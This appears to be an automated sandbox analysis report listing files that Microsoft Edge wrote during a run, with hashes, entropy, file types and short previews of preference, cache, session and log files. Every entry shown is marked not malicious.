SHA-512:	F681B810F48EB453713E46158EBB307CB47BA788EB249C34CCC0E651FF6DFD03C234CF23C683501D1BADD481F636614A2206C006DD5D3D2C18776C21BF76FB6C
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375271620101072","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	30243
Entropy (8bit):	5.566024920326779
Encrypted:	false
SSDEEP:	768:29hKI5z7pLGLpyHWPpRf/e8F1+UoAYDCx9Tuqh0VfUC9xbog/OV7uVXhaMrw4bpc:29hKI5lcpyHWPpRf/eu1jaWuVxal4Otf
MD5:	E362D17043575AD4EF005D92D3F9130C
SHA1:	68C7208251227F319DE093308AA6283816DEFEB9
SHA-256:	086B2DE3FEE454047851313CD171D3E1B485A45DD05A43C7B787E216ABF0DF4C
SHA-512:	7BE62B77CDED46923035B47382158999C38ADD57EE908A3C7245A4B626819BBF893EF9AC0D41B6F9C08089C6E7548FFB5B67C792BBBC75C7405181C4D9412E8E
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13375271619306814","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13375271619306814","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF4149d.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	30243
Entropy (8bit):	5.566024920326779
Encrypted:	false
SSDEEP:	768:29hKI5z7pLGLpyHWPpRf/e8F1+UoAYDCx9Tuqh0VfUC9xbog/OV7uVXhaMrw4bpc:29hKI5lcpyHWPpRf/eu1jaWuVxal4Otf
MD5:	E362D17043575AD4EF005D92D3F9130C
SHA1:	68C7208251227F319DE093308AA6283816DEFEB9
SHA-256:	086B2DE3FEE454047851313CD171D3E1B485A45DD05A43C7B787E216ABF0DF4C
SHA-512:	7BE62B77CDED46923035B47382158999C38ADD57EE908A3C7245A4B626819BBF893EF9AC0D41B6F9C08089C6E7548FFB5B67C792BBBC75C7405181C4D9412E8E
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13375271619306814","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13375271619306814","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2294
Entropy (8bit):	5.840132623148436
Encrypted:	false
SSDEEP:	24:F2xc5NmUocncmo0CRORpllg2DBfRHsVdCRORpllg2bX9HSKCRORpllg2DMRHsWC5:F2emYtrdDBfBSXrdbF1rdDMBlGrd7BH
MD5:	9BF064860500ABFF27854D37F298A7D9
SHA1:	28E159B9F77055D07C9D8CF492BBA04A9E07DF04
SHA-256:	4BB800DED42E60F7FEA3C9530D08286048926360D4194822CB494EF0D45B0B75
SHA-512:	F1998803904631F0B07A2B6F32B8B4F5C52894F2125FCB8A5DAD2B27920DA4A0A0DA1B1E0EDB26EDE145612456D8DF63DC4EE6F0E7710BA65F9EB7D1B87BCF97
Malicious:	false
Preview:	....I................URES:0...INITDATA_NEXT_RESOURCE_ID.1..INITDATA_DB_VERSION.2G..m................INITDATA_NEXT_REGISTRATION_ID.1..INITDATA_NEXT_VERSION_ID.1.+INITDATA_UNIQUE_ORIGIN:https://ntp.msn.com/...REG:https://ntp.msn.com/.0......https://ntp.msn.com/edge/ntp...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true .(.0.8.......@...Z.b.....trueh..h..h..h..h..h..h..h..h..h..h.!p.x.................................REGID_TO_ORIGIN:0.https://ntp.msn.com/..RES:0.0.......https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enable

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	299
Entropy (8bit):	5.14155726922938
Encrypted:	false
SSDEEP:	6:H6ruwdFFB1923oH+TcwtE/a252KLlV66+q2P923oH+TcwtE/a2ZIFUv:ctd3MYeb8xLuv4Yeb8J2FUv
MD5:	4BD2E5E340350E80177101E1251346EA
SHA1:	A26F3A12178C1567A9FDA9C7CE443A68F2444092
SHA-256:	8E0DAE3823085A8D4B0C58E457842B7610DC0867155FF05D85121BD3CEA5186E
SHA-512:	113C28D5C903BF7444CC001403B3B8961CBF755AE85FF717B080AB5271D39CC43F62A116289E04EAB6E67F0ECD78BD33AD7E73C1D9AC3C2C4DDE38C94D1C17F6
Malicious:	false
Preview:	2024/11/05-04:13:53.180 1e08 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database since it was missing..2024/11/05-04:13:53.198 1e08 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	113825
Entropy (8bit):	5.579370457423777
Encrypted:	false
SSDEEP:	1536:sa906yxPXfOrr1lhCe1+46rCjF3NlYN6H+Gy9lL/rDL/r55:f9LyxPXfOrr1lMe1z6rWLenlL/HL/r
MD5:	FBDB39B8686DCE9D659FD0164C0AF19D
SHA1:	9C0AD4FFD6AA8E783BC99989B1C7941485BB2302
SHA-256:	10CF1DA4FBAF2AF25537A8117263E958905C7DCBB9FF14396848FB0A70F73EB9
SHA-512:	AD045B9AC1701DCA7E647D400A77E8A675AA739FB75A1C6E8E174DF38C96FEB8A3277F97808489E41314D351A9B4B863CE694DD63017BE083CFBA38ADE4152F7
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	188009
Entropy (8bit):	6.380782257803908
Encrypted:	false
SSDEEP:	3072:XB0oxHXpZ8aw2eJa2lXsF2YFlFmPwn4Jmt+L/GeBToC4vS:HCawplw9MPDvL/FZ4vS
MD5:	4BDC4C2FE03CF1175EA574A57FAB9439
SHA1:	16866582AA9FE513071CE8948E3F56E537CD9696
SHA-256:	BD3B06F955812ABD311C6F7172CE677AD26000B8A77A94E076E8A4C9D12BD32B
SHA-512:	A29CDECD868CB72EE42C111D55343FE4CD283D0896401E5150139B3F55555FA1FB475DAED7EB609E48673D9573B0D0C1F7D3F280C3313EEC6C1F965AE1A801B0
Malicious:	false
Preview:	0\r..m..........rSG.....0....z3.................;.....x..........,T.8..`,.....L`.....,T...`......L`......RcB.p'....exports...Rc..Pu....module....Rc.......define....Rb.T......amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v............*.........".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H......q.Q.m.r...b...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true..a........Db............D`.....A..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da....4U...,T.`.`z.....L`..........a............a.........Dr8................/....-.......}....4..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:w7mXl/l/n/lxEwltXtcRn:w7ewQ+
MD5:	F276C7BE1A4A6654BB47F3AE721E1982
SHA1:	138FDB77AAEA1F0CD54498FEA499D01C24DE6F79
SHA-256:	3CDBE5F3624C3620F87E08173B68B00684866BB71374DAF89659C8AE428D838D
SHA-512:	2EDE37D679212DAABF52054CA5A1B408D4A82FE8D45F174FAE0A6C20C0221E460191231F8F1D72732BEE595E0056EB9E5F886D1D5A9317E5E702B2F82296925B
Malicious:	false
Preview:	@.......oy retne.........................X....,................H..../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:w7mXl/l/n/lxEwltXtcRn:w7ewQ+
MD5:	F276C7BE1A4A6654BB47F3AE721E1982
SHA1:	138FDB77AAEA1F0CD54498FEA499D01C24DE6F79
SHA-256:	3CDBE5F3624C3620F87E08173B68B00684866BB71374DAF89659C8AE428D838D
SHA-512:	2EDE37D679212DAABF52054CA5A1B408D4A82FE8D45F174FAE0A6C20C0221E460191231F8F1D72732BEE595E0056EB9E5F886D1D5A9317E5E702B2F82296925B
Malicious:	false
Preview:	@.......oy retne.........................X....,................H..../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF44b9c.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:w7mXl/l/n/lxEwltXtcRn:w7ewQ+
MD5:	F276C7BE1A4A6654BB47F3AE721E1982
SHA1:	138FDB77AAEA1F0CD54498FEA499D01C24DE6F79
SHA-256:	3CDBE5F3624C3620F87E08173B68B00684866BB71374DAF89659C8AE428D838D
SHA-512:	2EDE37D679212DAABF52054CA5A1B408D4A82FE8D45F174FAE0A6C20C0221E460191231F8F1D72732BEE595E0056EB9E5F886D1D5A9317E5E702B2F82296925B
Malicious:	false
Preview:	@.......oy retne.........................X....,................H..../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	5843
Entropy (8bit):	3.4319351015596338
Encrypted:	false
SSDEEP:	96:EkNuoXPRp3iN151U1LZF9Xp+7+qi9TlokGk5bjLl9iSr/1+9RPMS:NQwpp3iN151U1/9Xp+79i9TlDT5bjLlL
MD5:	096052ECEF5CF4EA4C1CDCFCB46C9630
SHA1:	61806A8B737CB98B0DF7B8A5FE6119B75FC3077A
SHA-256:	3453EE4AD27D28E66508AB2FF62B0286DA78E7D332BB78A5AF245C900C47482F
SHA-512:	0612E59D30B82F85A72ACC1377DCE40FD5B174CD3284A6D36F6419DC319E20171F421C991DF8ED048A49D573DE9DAF726A96C01D514EE2CF656888A8551F6C4E
Malicious:	false
Preview:	...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f...................b................next-map-id.1.Cnamespace-7d6621d9_490c_459f_b66f_74d543d97fbc-https://ntp.msn.com/.0..n..................map-0-shd_sweeper.{.".x.-.m.s.-.f.l.i.g.h.t.I.d.".:.".m.s.n.a.l.l.e.x.p.u.s.e.r.s.,.p.r.g.-.s.p.-.l.i.v.e.a.p.i.,.p.r.g.-.m.s.n.-.o.l.d.b.r.a.n.d.,.p.r.e.a.d.s.-.c.b.v.4.2.-.9.7.0.-.c.t.r.l.,.c.p.r.g.-.i.n.f.o.p.-.a.d.s.-.d.l.,.p.n.p.w.e.a.t.o.d.a.y.,.d.a.t.a.c.o.l.l.e.c.t.i.o.n.,.i.c.r.s.c.a.l.l.-.s.p.-.c.t.l.,.p.r.g.-.1.s.w.-.s.a.q.e.n.r.u.8.e.x.p._.t.4.,.p.r.g.-.1.s.w.-.s.a.-.s.k.a.b.w.e.i.g.h.t.t.r.e.t.,.p.r.g.-.1.s.w.-.s.a.d.i.v.l.e.a.r.f.l.2.,.p.r.g.-.c.g.-.g.a.m.e.-.e.x.p.-.4.,.p.r.g.-.1.s.w.-.a.b.o.r.t.w.v.2.,.p.r.g.-.1.s.w.-.t.r.d.i.s.c.c.2.,.p.r.g.-.1.s.w.-.t.m.u.i.d.s.y.n.c.r.f.w.o.e.r.r.,.p.r.g.-.1.s.w.-.r.e.f.r.e.s.h.p.,.p.r.g.-.1.s.w.-.t.m.u.i.d.1.s.s.y.n.c.,.1.s.w.-.t.p.s.n.-.d.s.t.p.r.g.1.d.c.y.1.4.-.t.,.1.s.-.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.132291579374338
Encrypted:	false
SSDEEP:	6:H6AhLFx9+q2P923oH+TcwtrQMxIFUt8Y6AhuN2WZmw+Y6Ahi9VkwO923oH+Tcwtf:Xxx9+v4YebCFUt8EuNJ/+Ei9V5LYebtJ
MD5:	4FDAF4DE7AD650127CDB16EA660D93F5
SHA1:	972D60EF65E70FEC669FA26C03106C6DCD277244
SHA-256:	65BADC628044E54652FF069FDCC7901109C515482104A5C39CB368E9CD2AF14B
SHA-512:	E61E8C310990E7E6F5340EAEDAAD671D74799BD526257C2A22F4590393E9C7164AAEED4604695342068BE9768CDBE08C97E4C6A1E71903683E7EEA49D9F6C603
Malicious:	false
Preview:	2024/11/05-04:13:40.796 1d0c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/05-04:13:40.797 1d0c Recovering log #3.2024/11/05-04:13:40.799 1d0c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.132291579374338
Encrypted:	false
SSDEEP:	6:H6AhLFx9+q2P923oH+TcwtrQMxIFUt8Y6AhuN2WZmw+Y6Ahi9VkwO923oH+Tcwtf:Xxx9+v4YebCFUt8EuNJ/+Ei9V5LYebtJ
MD5:	4FDAF4DE7AD650127CDB16EA660D93F5
SHA1:	972D60EF65E70FEC669FA26C03106C6DCD277244
SHA-256:	65BADC628044E54652FF069FDCC7901109C515482104A5C39CB368E9CD2AF14B
SHA-512:	E61E8C310990E7E6F5340EAEDAAD671D74799BD526257C2A22F4590393E9C7164AAEED4604695342068BE9768CDBE08C97E4C6A1E71903683E7EEA49D9F6C603
Malicious:	false
Preview:	2024/11/05-04:13:40.796 1d0c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/05-04:13:40.797 1d0c Recovering log #3.2024/11/05-04:13:40.799 1d0c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13375271621812713

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1443
Entropy (8bit):	3.8301869662828625
Encrypted:	false
SSDEEP:	24:3ZstvsifyeTYpsAF4unxs6t3atLp3X2amEtG1ChqLt3HQKkOAM4g:3qNs0gzF5GLp2FEkCh+tgHOp
MD5:	A724F2AE8E2FBC9B2E6F1E2E641C64FA
SHA1:	FC55E0ED21AB7CD011FDCBC3FAE219BE975BD56F
SHA-256:	710BB679031CCE20ED0187667D0339D961ED0487BDE6BF9417A2974F237A703B
SHA-512:	835EDCD25AF11AEB4BE3FBA1DD021DE5E7D4291AF21F29AF646AEC857259ABF22F25E50C9076CE7037D9F4AE9A18CF5FECB571F1EEC72A5F3D04E5CE58C28CF0
Malicious:	false
Preview:	SNSS..........8..............8......"...8..............8..........8..........8..........8....!.....8..................................8...81..,......8$...7d6621d9_490c_459f_b66f_74d543d97fbc......8..........8....O.............8......8..........................8....................5..0......8&...{98952893-68FF-4A5D-A164-705C709ED3DB}........8..........8.............................8..............8........edge://newtab/......N.e.w. .t.a.b...........!...............................................................x...............................x........XM.&&...XM.&&.................................. ...................................................r...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.G.B.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.i.s.F.R.E.M.o.d.a.l.B.a.c.k.g.r.o.u.n.d.=.1.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.....................................8.......0.......8............................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.138964994226073
Encrypted:	false
SSDEEP:	6:H6dweq2P923oH+Tcwt7Uh2ghZIFUt8Y6dVZmw+Y6dHkwO923oH+Tcwt7Uh2gnLJ:kv4YebIhHh2FUt8t/+f5LYebIhHLJ
MD5:	FA083A7665AB5DEF383E7BD0DB14633C
SHA1:	4F2C9DB2580C759AC97F497539499481B3E2096B
SHA-256:	00F90E65CC3989E1F0EFBE74CC994AE6F35F493393C7DCABE27953E0B48D0028
SHA-512:	D1FFBEBF6846B64A00A8BB0A351F60CA8608D2EFC39F6BEC1AC6E2D03BBD09B0CDBE3BE26622798CB5899E487ED95B1700FC95A978D8BBE12248FDB54B4932F9
Malicious:	false
Preview:	2024/11/05-04:13:39.306 1640 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/05-04:13:39.307 1640 Recovering log #3.2024/11/05-04:13:39.307 1640 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.138964994226073
Encrypted:	false
SSDEEP:	6:H6dweq2P923oH+Tcwt7Uh2ghZIFUt8Y6dVZmw+Y6dHkwO923oH+Tcwt7Uh2gnLJ:kv4YebIhHh2FUt8t/+f5LYebIhHLJ
MD5:	FA083A7665AB5DEF383E7BD0DB14633C
SHA1:	4F2C9DB2580C759AC97F497539499481B3E2096B
SHA-256:	00F90E65CC3989E1F0EFBE74CC994AE6F35F493393C7DCABE27953E0B48D0028
SHA-512:	D1FFBEBF6846B64A00A8BB0A351F60CA8608D2EFC39F6BEC1AC6E2D03BBD09B0CDBE3BE26622798CB5899E487ED95B1700FC95A978D8BBE12248FDB54B4932F9
Malicious:	false
Preview:	2024/11/05-04:13:39.306 1640 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/05-04:13:39.307 1640 Recovering log #3.2024/11/05-04:13:39.307 1640 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
